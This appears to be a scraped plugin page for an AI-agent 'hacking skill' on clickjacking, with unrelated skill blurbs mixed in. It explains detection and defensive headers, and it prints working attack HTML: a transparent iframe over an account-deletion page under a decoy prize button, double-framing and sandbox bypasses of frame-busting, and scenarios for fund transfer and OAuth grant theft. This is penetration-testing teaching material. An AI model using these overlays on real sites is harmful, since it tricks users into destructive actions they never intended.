From meta
Clickjacking overlays a target page in a transparent or hidden iframe, tricking victims into clicking UI elements they cannot see. Detect by attempting to load the target in an iframe and checking for `X-Frame-Options` (DENY/SAMEORIGIN) or `Content-Security-Policy: frame-ancestors` headers. Frame-busting JavaScript can be bypassed via double-framing, `sandbox` attribute, `onBeforeUnload` exploitation, and IE `location` variable redefinition. Tools: Burp Suite (Clickjacking PoC generation).
npx claudepluginhub securityfortech/hacking-skills --plugin metaThis skill uses the workspace's default tool permissions.
Clickjacking (UI redressing) works by embedding a target application inside a transparent or partially-visible iframe on an attacker-controlled page. Victims see decoy UI elements but are actually interacting with the hidden target page underneath. Single-click, single-step actions are the most exploitable (fund transfers, account deletions, permission grants, one-click purchases). The vulnerab...
Guides Next.js Cache Components and Partial Prerendering (PPR) with cacheComponents enabled. Implements 'use cache', cacheLife(), cacheTag(), revalidateTag(), static/dynamic optimization, and cache debugging.
Guides building MCP servers enabling LLMs to interact with external services via tools. Covers best practices, TypeScript/Node (MCP SDK), Python (FastMCP).
Generates original PNG/PDF visual art via design philosophy manifestos for posters, graphics, and static designs on user request.
Clickjacking (UI redressing) works by embedding a target application inside a transparent or partially-visible iframe on an attacker-controlled page. Victims see decoy UI elements but are actually interacting with the hidden target page underneath. Single-click, single-step actions are the most exploitable (fund transfers, account deletions, permission grants, one-click purchases). The vulnerability exists when a page can be framed, either because framing protection headers are absent or because deployed JavaScript frame-busting code is bypassable.
X-Frame-Options header (DENY or SAMEORIGIN)Content-Security-Policy: frame-ancestors 'none' or frame-ancestors 'self'top.location === self.location) but bypassableX-Frame-Options and Content-Security-Policy: frame-ancestors.<!-- Basic detection PoC -->
<html>
<head><title>Clickjacking detection</title></head>
<body>
<iframe src="TARGET/" width="800" height="600"></iframe>
</body>
</html>
<!-- Full attack PoC — transparent overlay -->
<html>
<head>
<style>
iframe {
position: absolute;
width: 800px;
height: 600px;
opacity: 0.0; /* Set to 0.5 for testing, 0.0 for actual attack */
z-index: 2;
}
.decoy {
position: absolute;
top: 340px; /* Adjust to align with target button */
left: 200px;
z-index: 1;
background: #ff0000;
padding: 10px 20px;
cursor: pointer;
}
</style>
</head>
<body>
<div class="decoy">Click here to win a prize!</div>
<iframe src="TARGET/account/delete" scrolling="no"></iframe>
</body>
</html>
<!-- Double-framing to bypass parent.location frame-busting -->
<html>
<body>
<iframe src="attacker-inner.html">
<!-- attacker-inner.html contains iframe of TARGET/ -->
</iframe>
</body>
</html>
<!-- attacker-inner.html: -->
<iframe src="TARGET/"></iframe>
<!-- Sandbox attribute to disable frame-busting JS -->
<iframe src="TARGET/" sandbox="allow-forms allow-scripts allow-same-origin"></iframe>
<!-- Note: omit allow-top-navigation to prevent frame-busting -->
<!-- Disable JS entirely (IE restricted zone) -->
<iframe src="TARGET/" security="restricted"></iframe>
<!-- Browser header check -->
curl -s -I TARGET/ | grep -i "x-frame-options\|frame-ancestors"
<!-- Burp Suite: identify clickjacking -->
<!-- Proxy -> HTTP History -> right-click response -> 'Check Clickjacking' (via extension) -->
<!-- Or: manually check Response headers for X-Frame-Options -->
parent.location assignment fails silently when attacker controls the middle framesandbox="allow-forms allow-scripts" without allow-top-navigation disables frame-busting navigationtop.location = self.location throws security exception, ignoredwindow.location as a non-writable property, breaking frame-busting assignmentScenario 1 — Unauthorized Fund Transfer
Setup: Banking transfer form is a single page with pre-filled amounts from URL parameters; no clickjacking protection.
Trigger: Attacker crafts TARGET/transfer?amount=500&to=attacker-acct, embeds in transparent iframe with opacity 0.0, overlaid with "Confirm your free delivery" button.
Impact: Victim clicks decoy button, unknowingly submits transfer; funds moved to attacker account.
Scenario 2 — Social Media Permission Grant Setup: OAuth permission grant page can be framed; one "Authorize" button present. Trigger: Attacker embeds transparent iframe of permission page over a "Play game" button on their site. Impact: Victim grants application full permission to their social media account without realizing.
Scenario 3 — Account Deletion via Double-Framing
Setup: Account deletion page has frame-busting JavaScript (if (top != self) top.location = self.location).
Trigger: Attacker uses double-framing to neutralize frame-bust; positions "Delete my account" button under a decoy.
Impact: Victim's account deleted; frame-busting protection rendered ineffective.
X-Frame-Options: SAMEORIGIN correctly deployed — page loads in iframe from same origin but not cross-origin (not exploitable from attacker site)Content-Security-Policy: frame-ancestors 'self' properly preventing cross-origin framingContent-Security-Policy: frame-ancestors 'none' (no framing at all) or frame-ancestors 'self' (same-origin only)X-Frame-Options: DENY or X-Frame-Options: SAMEORIGIN (supported IE8+, Firefox 3.6.9+, Chrome 4.1+)X-Frame-Options: ALLOW-FROM origin for specific trusted origins (not supported in Chrome/Safari — use CSP instead)Clickjacking is a user-assisted [[csrf]] variant: rather than forging a request invisibly, it tricks the victim into clicking a UI element that triggers the sensitive action. If the target page lacks SameSite protections and also lacks framing protection, both clickjacking and [[csrf]] may be independently exploitable. If the page can be framed and also reflects user input, an [[xss-reflected]] payload can be delivered inside the frame to capture interactions. [[cors-misconfig]] on a parent-framed page can be combined to read responses from the framed origin.